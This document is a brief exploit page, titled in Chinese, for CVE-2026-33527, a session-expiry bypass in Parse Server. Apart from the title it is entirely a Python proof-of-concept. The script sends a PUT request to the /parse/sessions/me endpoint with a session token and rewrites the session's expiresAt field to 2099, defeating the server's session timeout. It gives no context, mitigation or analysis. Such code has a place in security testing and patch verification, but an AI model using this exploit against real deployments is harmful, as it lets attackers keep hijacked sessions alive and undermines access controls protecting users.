CVE-2026-33527 Parse Server 会话有效期绕过漏洞

import requests # Target API endpoint for updating the current session url = "http://localhost:1337/parse/sessions/me" # Headers required by Parse Server REST API headers = { "X-Parse-Application-Id": "YOUR_APPLICATION_ID", "X-Parse-Session-Token": "YOUR_CURRENT_SESSION_TOKEN", "Content-Type": "application/json" } # Payload to overwrite the 'expiresAt' field # Setting the expiration date to the year 2099 to bypass session timeout payload = { "expiresAt": { "__type": "Date", "iso": "2099-12-31T23:59:59.000Z" } } # Send the request to update the session response = requests.put(url, json=payload, headers=headers) if response.status_code == 200: print("[+] Success! Session expiration bypassed.") print("[+] Response:", response.json()) else: print("[-] Failed to exploit.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text)